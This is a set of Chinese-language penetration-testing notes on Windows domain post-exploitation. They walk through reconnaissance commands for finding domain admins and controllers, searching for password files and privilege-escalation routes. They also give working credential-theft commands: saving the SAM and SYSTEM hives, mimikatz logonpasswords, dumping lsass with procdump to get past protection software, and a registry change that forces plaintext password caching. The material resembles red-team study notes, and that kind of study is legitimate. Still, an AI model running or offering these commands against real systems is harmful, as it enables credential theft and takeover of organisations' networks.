一、信息收集
域环境? or 工作组环境?
当我们通过 Web 漏洞或者其他的⼿段获取到了⼀个命令执⾏的⼝⼦后,我们想要对当前服务器进⾏深层次的内⽹ 渗透,那么必须得知道当前机器所在的环境是工作组 还是 域 ,因为两种环境的攻击⼿法不同,所以我们需要根据 不同的环境来做不同的处理! 判断是否在域内
1、查看当前网卡和IP信息:
ipconfig /all
2、查看系统详细信息:
systeminfo
3、查看当前登录域及域用户
net config workstation
4、查看域内时间
net time /domain
分清楚是域还是⼯作组后,我们就可以对当前机器进⾏信息搜集了。
获取本机网络配置信息
ipconfig /all
查询操作系统和版本信息
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
查看系统体系结构
echo %PROCESSOR_ARCHITECTURE%
查看按照的软件以及版本、路径
wmic product get name,version
查看本机服务信息
wmic service list brief
查看进程列表
1、查看当前进程列表和软件进程
tasklist
2、查看当前进程列表对应的用户身份
tasklist /v
3、查看当前进程是否有杀毒软件(AV)
tasklist /svc
查看启动程序信息
wmic startup get command,caption
查看计划任务
schtasks /query /fo LIST /v
查看主机开机时间
net statistics workstation
查看有哪些用户
net user
查看当前在线用户
query user || qwinsta
查看本机端口开放情况
netstat -ano
查询补丁信息
systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn
查询路由表及所有可用接口的ARP缓冲表
route print
arp -a
查看防火墙配置
netsh firewall show config
域内信息收集
搜集完本机的⼀些配置信息、IP信息、⽹卡信息、补丁信息后,我们接下来就要搜集域内的信息了,⽐如:域⽤ 户、域管理员、域控制器等信息。
获取域SID
whoami /all
查询域内用户
net user /domain
查询域用户的详细信息
假如查询 xmy这个域用户的信息
net user xmy /domain
查询域列表(如果有多个域)
net view /domain
查询域管理员列表
net group "domain admins" /domain
查看域内时间(时间服务器)
net time /domain
查看登录本机的域管理员
net localgroup administrators /domain
查看域内所有用户组列表
net group /domain
查看主域控制器
netdom query pdc
查看所有域控制器列表
net group "Domain Controllers" /domain
查询域信任信息
nltest /domain_trusts
查询域密码信息
net accounts /domain
搜集当前机器各类敏感密码配置⽂件
dir 命令搜集当前机器各类敏感密码配置⽂件
⼀般配置⽂件或者密码⽂件都是:
*,pass.*,config.*,username.*,password.*
for 循环搜集当前机器各类敏感密码配置⽂件
还可以通过 for 循环来查找,例如查找匹配 pass ⽂件:
for /r c:\ %i in (pass.*) do @echo %i
findstr 命令查找某个⽂件的某个字段
想要查找⼀个⽂件⾥有没有 user 、 pass 等字段内容
findstr /c:"user" /c:"pass" /si *.txt
二、一些概念
域信任
域是安全边界,若⽆信任关系,域⽤户帐户只能在本域内使⽤。信任关系在两个域之间架起了⼀座桥梁,使得域⽤ 户帐户可以跨域使⽤。 确切地说就是:信任关系使⼀个域的 DC(域控制器) 可以验证其他域的⽤户,这种身份验证需要信任路径。
域委派
域委派是指将域内部⽤户的权限委派给服务账号,使⽤服务账号能以⽤户的权限在域内展开活动。 ⽐如在域中如果出现⼀种使⽤ Kerberos 身份验证访问域中的服务B,⽽服务B再利⽤A的身份去请求域中的服务 C,这个过程就可以理解为委派。 委派主要分为⾮约束委派 (Unconstrained delegation) 和约束委派 (Constrained delegation) 两个⽅式, 还有⼀种是基于资源的约束委派( Resource Based Constrained Delegation )。 ⽽通过⾮约束委派攻击我们就可以通过 TGT 去获取到 AD 或者其他域内服务主机的权限,⾄于什么是 TGT 我也 会单独写⼀篇来讲解域内的每⼀个协议,⼤家只需要初步的认为非资源约束委派可以帮助我们拿到其他主机的权限就好。
DCSync是域渗透中经常会用到的技术
域渗透——DCSync_systemino的博客-CSDN博客_dcsync
https://blog.csdn.net/systemino/article/details/97951619
三、提权
溢出漏洞提权
计算机有个地⽅ 叫缓存区,程序的缓存区⻓度是被事先设定好的,如果⽤户输⼊的数据超过了这个缓存区的⻓度,那么这个程序就 会溢出了,缓存区溢出漏洞主要是由于许多软件没有对缓存区检查⽽造成的,通过溢出我们就可以去执⾏命令。
MS16-032 提权
通过 MS16-032 漏洞我们可以以⼀个普通⽤户的身份,去添加⼀个administrator管理员组的⽤户,还可以以 SYSEM 系统权限的身份去运⾏⼀个程序。
本地提权
本来⾮常低权限、受限制的⽤户,可以提升到系统⾄⾼⽆上的权限。
CVE-2020-0787
当Windows背景只能传输服务(BITS)没有正确处理符号链接时,存在特权提升漏洞。成功利用该漏洞的攻击者可以改写目标文件,从而提升权限。要利用这个漏洞,攻击者首先必须登录系统,攻击者可以运行EXP,利用该漏洞来提权进而完全控制受影响的系统。
数据库提权
MYSQL UDF提权
UDF用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。
windows下udf提权条件:
如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下。
如果mysql版本小于5.1,udf.dll文件在Windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
借助 Metasploit、CobaltStrike 来辅助提权
四、获取当前机器下各类密码
通过提权我们得到了⼀个⾼权限的⽤户身份,例 如获取到了 SYSYEM 权限后,我们就可以抓当前机器上各类密码:机器密码、浏览器密码、第三⽅软件密码。
在 Windows 系统⾥有⼀个 SAM ⽂件,⾥⾯存着所有本地⽤户的密码 hash,其全称叫做 "Security Account Manager"。SAM ⽂件默认存放于 C:\Windows\System32\config ⽬录下的 SAM ⽂件中。
主要⽤于 Windows 本地⽤户登录验证,但是因为安全问题,由于所有本地账户的密码 hash 都使⽤的是同⼀个 SYSKEY 进⾏加密,所以我们只需要拿到 SYSKEY 就可以把所有本地⽤户的密码和 hash 都提取出来。
低版本操作获取当前机器上的明⽂密码及hash
Mimikatz⼜被称为法国⼤⾯包,是⼀款windows平台的神器,他最显著的功能就是从 lsass.exe 中抓取密码,此外 它还可以⽤于提权、注⼊进程,读取进程内存等操作。
通过注册表抓取密码hash ⾸先我们需要把当前系统注册表 SAM、SYSTEM 获取到。
reg save HKLM\SYSTEM Sys.hiv
reg save HKLM\SAM Sam.hiv
然后把这两个⽂件拖回本地然后⽤ mimikatz 抓取密码hash:
mimikatz "lsadump::sam /sam:Sam.hiv /system:Sys.hiv" exit
通过拿到密码 hash 我们就可以去 CMD5 解密。
这样就获取到了当前系统⽤户的明⽂,当然有些情况下是解密不了的,我们也可以通过 PTH(哈希传递)攻击来利用。
通过 mimikatz 抓明⽂密码和hash
把 mimikatz 上传到⽬标机器后,可以通过执⾏这条命令抓取内存中的明⽂密码和hash。
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit"
使⽤ mimikatz 成功抓到了 test 的明⽂密码,实际情况下需要注意 mimikatz 免杀问题。
通过 Procdump 获取 lsass 抓内存中的明⽂密码
Procdump 是微软官⽅发布的⼯具,使⽤该⼯具可以把 lsass 的内存 dump下来,可以绕过⼤多数的防护软件。 lsass 进程⾥⾯存放了我们登陆的账号密码等信息,也就是说你登陆了⼀台机器,那么 lsass 进程就会记录你的登 陆凭证,通过 lsass 我们就能够获取到机器的明文密码等hash信息。
⾸先⽤ Procdump 把 lsass 的内存 dump下来:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
然后就可以把 lsass.dmp ⽂件拖回本地,使⽤ mimikatz 读取密码:
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
这样就成功获取到了当前机器的明⽂密码,但是同样的手法在window2012就不起效果了。
Password 为 null,就⽆法获取到明⽂密码!
⾼版本操作获取当前机器上的明⽂密码及hash
刚刚测试过了,在 windows 10 / 2012r2 之后的系统版本中,默认情况下已禁⽤在内存缓存中存系统⽤户明⽂密 码,此时再直接拿着 mimikatz 去抓明⽂,肯定是抓不到的。
⼿⼯修改注册表 + 强制锁屏 + 等待⽬标系统管理员重新登录 = 截取明⽂密码
虽然默认在 2012r2 之后的系统中已禁⽌在缓存中保存密码明⽂,但是我们已经拿到了⽬标机器的管理权限,此时 可以⾃⾏通过修改注册表的⽅式来强制让它存明⽂,但前提是⽤户必须得先注销再重新登录才能⽣效,否则是获取不到的。
抓取浏览器保存的密码
IE浏览器保存的密码获取
Chrome、firefox、360 浏览器保存的密码获取
获取各类密码
LaZagne是⽤于开源应⽤程序获取⼤量的密码存储在本地计算机上。每个软件都使⽤不同的技术(明⽂、API、⾃ 定义算法、数据库等)存储其密码。开发此⼯具的⽬的是为最常⽤的软件查找这些密码。
四、用到的工具
1、BloodHound
利用BloodHound分析域中的攻击路径 - 先知社区 (aliyun.com)
https://xz.aliyun.com/t/7311
相关资料
《内网安全攻防》学习笔记,第二章-域内信息收集 - 云+社区 - 腾讯云 (tencent.com)
https://cloud.tencent.com/developer/article/1665868
黄金票据(Golden Ticket)攻击 - 云+社区 - 腾讯云 (tencent.com)
https://cloud.tencent.com/developer/article/1760133白银票据(Silver Ticket)攻击 - 云+社区 - 腾讯云 (tencent.com)
https://cloud.tencent.com/developer/article/1760135